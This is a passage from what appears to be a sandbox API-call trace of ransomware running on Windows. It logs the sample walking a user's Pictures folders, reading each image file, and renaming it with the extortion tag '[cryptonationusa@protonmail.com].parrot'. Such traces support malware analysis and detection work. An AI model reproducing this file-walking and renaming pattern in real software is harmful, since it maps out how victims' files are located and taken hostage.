lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.308] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\t2dwUt.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\t2dwut.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\t2dwUt.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\t2dwut.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.312] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.312] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e53fa90, ftCreationTime.dwHighDateTime=0x1d5c313, ftLastAccessTime.dwLowDateTime=0xc4eed760, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4eed760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.312] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb578280, ftCreationTime.dwHighDateTime=0x1d5c5b5, ftLastAccessTime.dwLowDateTime=0xa5498e90, ftLastAccessTime.dwHighDateTime=0x1d5be75, ftLastWriteTime.dwLowDateTime=0xc4e551e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x16218, dwReserved0=0x0, dwReserved1=0x0, cFileName="242dVClbBv7nRIy3Q.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="242DVC~1.PAR")) returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.312] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.312] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.312] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc441acd0, ftCreationTime.dwHighDateTime=0x1d5bb94, ftLastAccessTime.dwLowDateTime=0x92f52d20, ftLastAccessTime.dwHighDateTime=0x1d5c155, ftLastWriteTime.dwLowDateTime=0x92f52d20, ftLastWriteTime.dwHighDateTime=0x1d5c155, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.312] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.312] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.312] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ed9f20, ftCreationTime.dwHighDateTime=0x1d5bb64, ftLastAccessTime.dwLowDateTime=0x28910830, ftLastAccessTime.dwHighDateTime=0x1d5c0fd, ftLastWriteTime.dwLowDateTime=0x28910830, ftLastWriteTime.dwHighDateTime=0x1d5c0fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AENxC6lDBWEp", cAlternateFileName="AENXC6~1")) returned 1 [0093.312] lstrcmpW (lpString1="AENxC6lDBWEp", lpString2=".") returned 1 [0093.312] lstrcmpW (lpString1="AENxC6lDBWEp", lpString2="..") returned 1 [0093.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.312] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x6ae520 [0093.313] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.313] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.313] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ed9f20, ftCreationTime.dwHighDateTime=0x1d5bb64, ftLastAccessTime.dwLowDateTime=0x28910830, ftLastAccessTime.dwHighDateTime=0x1d5c0fd, ftLastWriteTime.dwLowDateTime=0x28910830, ftLastWriteTime.dwHighDateTime=0x1d5c0fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.314] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x593f8c10, ftCreationTime.dwHighDateTime=0x1d5baed, ftLastAccessTime.dwLowDateTime=0x7c346b10, ftLastAccessTime.dwHighDateTime=0x1d5bd49, ftLastWriteTime.dwLowDateTime=0x7c346b10, ftLastWriteTime.dwHighDateTime=0x1d5bd49, nFileSizeHigh=0x0, nFileSizeLow=0x50c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="-2LBDaSy4.gif", cAlternateFileName="-2LBDA~1.GIF")) returned 1 [0093.314] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.314] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.314] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.315] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.315] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x50c7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x50c7, lpOverlapped=0x0) returned 1 [0093.315] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.316] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.316] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.317] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\-2LBDaSy4.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\-2lbdasy4.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\-2LBDaSy4.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\-2lbdasy4.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.319] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.319] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.320] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.321] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc495, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xc495, lpOverlapped=0x0) returned 1 [0093.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.321] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.322] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\7_w8al9QyyFxH6WfKTUp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\7_w8al9qyyfxh6wfktup.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\7_w8al9QyyFxH6WfKTUp.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\7_w8al9qyyfxh6wfktup.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.326] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.326] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.327] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.327] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7927, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x7927, lpOverlapped=0x0) returned 1 [0093.327] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.329] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.329] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.329] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\aIi MyzHr s.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\aii myzhr s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\aIi MyzHr s.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\aii myzhr s.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.333] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.333] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.333] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.334] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x130fa, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x130fa, lpOverlapped=0x0) returned 1 [0093.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.338] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\fzKp3PtT.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\fzkp3ptt.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\fzKp3PtT.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\fzkp3ptt.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.344] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.344] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.345] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.345] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x56cf, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x56cf, lpOverlapped=0x0) returned 1 [0093.345] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.348] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.349] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\gL35mZfwZ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\gl35mzfwz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\gL35mZfwZ.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\gl35mzfwz.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.385] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.385] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.385] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.386] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x852e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x852e, lpOverlapped=0x0) returned 1 [0093.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.387] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.387] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.387] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\JiV9ImYZF5wmHnv.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\jiv9imyzf5wmhnv.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\JiV9ImYZF5wmHnv.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\jiv9imyzf5wmhnv.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.391] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\m0o3\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0093.391] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.391] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8755970, ftCreationTime.dwHighDateTime=0x1d5bf19, ftLastAccessTime.dwLowDateTime=0xbf82ec0, ftLastAccessTime.dwHighDateTime=0x1d5be90, ftLastWriteTime.dwLowDateTime=0xbf82ec0, ftLastWriteTime.dwHighDateTime=0x1d5be90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.391] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.391] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.391] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf973d00, ftCreationTime.dwHighDateTime=0x1d5c480, ftLastAccessTime.dwLowDateTime=0xfb3c5050, ftLastAccessTime.dwHighDateTime=0x1d5b8ab, ftLastWriteTime.dwLowDateTime=0xfb3c5050, ftLastWriteTime.dwHighDateTime=0x1d5b8ab, nFileSizeHigh=0x0, nFileSizeLow=0x14e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="6wARmldNHUAqWQYYGb.bmp", cAlternateFileName="6WARML~1.BMP")) returned 1 [0093.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.391] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.391] ReadFile (in: hFile=0x26c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.392] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.392] ReadFile (in: hFile=0x26c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14e96, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x14e96, lpOverlapped=0x0) returned 1 [0093.393] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.395] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.396] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\m0o3\\6wARmldNHUAqWQYYGb.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\m0o3\\6warmldnhuaqwqyygb.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\m0o3\\6wARmldNHUAqWQYYGb.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\m0o3\\6warmldnhuaqwqyygb.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.401] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\m0o3\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0093.401] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8755970, ftCreationTime.dwHighDateTime=0x1d5bf19, ftLastAccessTime.dwLowDateTime=0xc4fabe40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4fabe40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.402] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf973d00, ftCreationTime.dwHighDateTime=0x1d5c480, ftLastAccessTime.dwLowDateTime=0xfb3c5050, ftLastAccessTime.dwHighDateTime=0x1d5b8ab, ftLastWriteTime.dwLowDateTime=0xc4fabe40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x14fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6wARmldNHUAqWQYYGb.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="6WARML~1.PAR")) returned 1 [0093.402] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0093.402] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.402] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.403] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.403] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11fef, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11fef, lpOverlapped=0x0) returned 1 [0093.403] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.406] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.409] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\uKwU.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\ukwu.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\AENxC6lDBWEp\\uKwU.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\aenxc6ldbwep\\ukwu.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.417] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.417] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.418] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.418] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11dcb, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11dcb, lpOverlapped=0x0) returned 1 [0093.418] RtlAllocateHeap 